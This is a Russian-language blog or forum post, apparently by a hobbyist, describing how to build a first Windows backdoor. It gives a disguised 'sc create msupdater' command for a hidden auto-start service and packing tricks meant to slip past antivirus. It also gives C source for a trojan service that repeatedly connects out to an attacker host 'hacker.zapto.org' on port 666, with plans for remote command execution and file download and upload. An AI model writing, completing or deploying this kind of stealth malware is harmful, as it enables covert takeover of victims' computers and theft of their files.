Я всегда делаю несколько дел одновременно, и в данный момент одно из них - мой первый бекдорчик. Он еще не закончен, есть только идея и каркас, которыми я с вами и поделюсь. Принцип такой: есть прекрасная програмка Bat To Exe Converter (гугл находит без проблем). И она позволяет сделать из батника exe, да еще и впихнуть в него пару других, файлов, которые будут потом извлечены. Т.к. этот функционал вполне безобиден, антивирусники на сие чудо не гавкают. И отлично - решил я и потер руки. Ни для кого не секрет, что службы не видно в автозапуске и в диспечере процессов, что очень удобно для злобных вирусов. Впихнуть же службу в windows позволяет стандартная программка все той же ОС, и имя ей sc. Запускаем ее так:
sc create msupdater binPath= %Windir%\System32\msupdater.exe start= auto
И все готово. Склеиваем батник с нашим детищем и вуаля - скрытие процесса без гемороя с руткитами по силам даже школьнику. Еще один вариант: пишем вмето батника программу, запускающую тот же sc и извлекающую из своих ресурсов вирус, после чего запихиваем вирус ей в альтернативный файловый поток. (Прочитать что такое файловый поток и скачать прогу для работы с ними можно
тут)
Вирус мы замаскировали, осталось его написать, чем я, собственно, и занят. Вот уже написаный код:
#include <winsock2.h>
#define SLEEP_TIME 5000
#define PORT 666
#define SERVERADDR "hacker.zapto.org"
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP: //OnStop
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN: //OnShutdown
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
// Report current status
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
int InitService() //OnInit
{
//init
return(0);
}
void ServiceMain(int argc, char** argv)
{
int error;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("MemoryStatus",(LPHANDLER_FUNCTION)ControlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0)
{
// Registering Control Handler failed
return;
}
// Initialize Service
error = InitService();
if (error != 0)
{
// Initialization failed
ServiceStatus.dwCurrentState =
SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
// We report the running status to SCM.
ServiceStatus.dwCurrentState =
SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
MEMORYSTATUS memory;
// The worker loop of a service
while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING) //MainLoop
{
//work
try {
WSADATA WSAData;
SOCKET sock,acp;
int cercont,sockID,Bnd;
sockaddr_in to;
cercont=(WSAStartup(0x0202,&WSAData));
to.sin_family= AF_INET;
to.sin_port= htons(PORT);
if (inet_addr(SERVERADDR)!=INADDR_NONE)
{
to.sin_addr.s_addr = inet_addr(SERVERADDR);
} else {
HOSTENT *hst;
hst=gethostbyname(SERVERADDR);
to.sin_addr.s_addr = inet_addr(hst->h_addr_list[0]);
}
sock=socket(AF_INET,SOCK_STREAM,0);
connect(sock,(struct sockaddr*)&to,sizeof(to));
}
catch(int i) {}
Sleep(SLEEP_TIME);
}
return;
}
int main()
{
FreeConsole();
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "MemoryStatus";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable);
}
Пояснения:
- это не обычная программа, а служба, вот почему исходный код такой стремный)
- hacker.zapto.org - это наш ip. (Сервис zapto.org позволяет для своего динамического ip получить постоянное dns имя, что удобно для троянца)
- SLEEP_TIME - длина паузы в милисикундах (пауза нужна в цикле чтоб он не жрал все ресурсы процессора)
- PORT - порт на вашем компе, который будет принимать соединение
- InitService() - выполнится при старте службы
- case SERVICE_CONTROL_STOP - при остановке службы (нельзя удалять код, который уже здесь есть!!!)
- while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING) - основной цикл службы
Про работу с сокетами я подробно обьяснять не буду т.к. много, долго и это уже сделали до меня и лучше меня. Если есть конкретные вопросы, задавайте.
В общем пока что трой успешно запускается и соединяется с клиентом, но после соединения ничего не делает. По плану он должен выполнять принятые команды в system() и отправлять ответ (своеобразный telnet). Плюс если команда начинается к примеру на "/wget", скачать указанный файл, а если на "/post", отправить его вам. Согласитесь, для удобного удаленного управления в telnet этого функционала сильно недостает.
Пока все, всем удачи)